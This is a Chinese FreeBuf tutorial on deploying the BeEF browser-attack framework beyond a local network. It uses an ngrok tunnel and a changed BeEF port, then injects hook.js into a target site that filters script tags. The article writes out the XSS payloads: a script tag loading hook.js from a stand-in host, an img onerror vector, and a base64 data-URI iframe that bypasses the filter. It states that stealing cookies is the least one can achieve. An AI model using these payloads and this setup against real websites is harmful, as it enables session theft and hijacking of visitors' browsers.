Beef-XSS框架无疑是当今最强大的浏览器攻击框架,网络上也存在很多关于它的教程,但是大部分都是基于内网环境下的教学,这就使得攻击效果大打折扣,另外大部分XSS教程只是实现一个aler(1)便证明达到了效果,而Beef-XSS要保证完整效果就要加载hook.js文件,在存在一定过滤的情况下,这是有一定难度的。于是便有了今天的文章,希望对大家有所帮助。
0x00 实验工具
kali linux v2.0
beef-xss
sunny-ngrok: http://www.ngrok.cc
0x01 开通tcp代理,并下载客户端进行内网穿透
都是老司机注册这里就不说了,直接讲如何开通tcp代理。
点击管理面板左侧栏里的隧道管理—>开通隧道,点击右下角那个免费的点击开通,当然如果你觉得想要稳定的可以选择付费版:
接下来我们要对隧道进行配置,选择tcp协议,隧道名称和端口号自己填,如果端口号已经被占用,点击确定后会有提示:
注意这里远程端口号要和本地端口号保持一致,正常情况下可以不用这么填,但是hook.js在发送请求的时候会在后面自动追加端口号,造成无法成功请求,所以我就干脆设置成一样的了。
下图这个clientid要保存好等下连接的时候要用。
接下来就是下载客户端,进行连接了。在这个地址(http://www.ngrok.cc/download.html)下载相应的客户端版本。
具体命令是:
./sunny clientid 隧道id
0x02 自定义监听端口,开启beef-xss
在启动beef-xss之前,我么们要修改下配置文件中的端口。配置文件位置:/etc/beef-xss/config.yaml。
用vim打开修改port后面的端口数就好了:
现在我们直接启动beef-xss就好了,这个就很简单了直接输入beef-xss回车:
接下来我们只要把hook.js脚本想办法加载到目标网站就可以实现对浏览器的攻击了,最起码get个cookie还是不成问题的。
0x03 绕过脚本过滤,实现基于beef的xss攻击
一般来说我们要加载一个js文件只需加入下边一行代码就可以:
<script type="text/javascript" src="http://yoururl.com/hook.js"></script>
但今天准备的网站对<script>的标签进行了过滤,不能实现直接注入:
在这种情况下想调用个方法还是很简单的,比如alert(1);只需用img标签的onerror就可实现,代码如下:
<img src=x onerror=alert(1); />
可当我们想要加载的一个js文件时,这样的方法是无法实现的,于是想到了利用iframe的特性,来加密脚本从而实现加载。代码如下:
<iframe src="data:text/html;base64,这里加你的经过base64加密过的脚本代码"></iframe>
执行成功,如图我们控制台已经成功连接:
至此,就可以进行深入的浏览器攻击了!
*本文原创作者:kaliking,本文属于FreeBuf原创奖励计划,未经许可禁止转载
来源:freebuf.com 2019-07-12 10:00:23 by: kaliking
请登录后发表评论
注册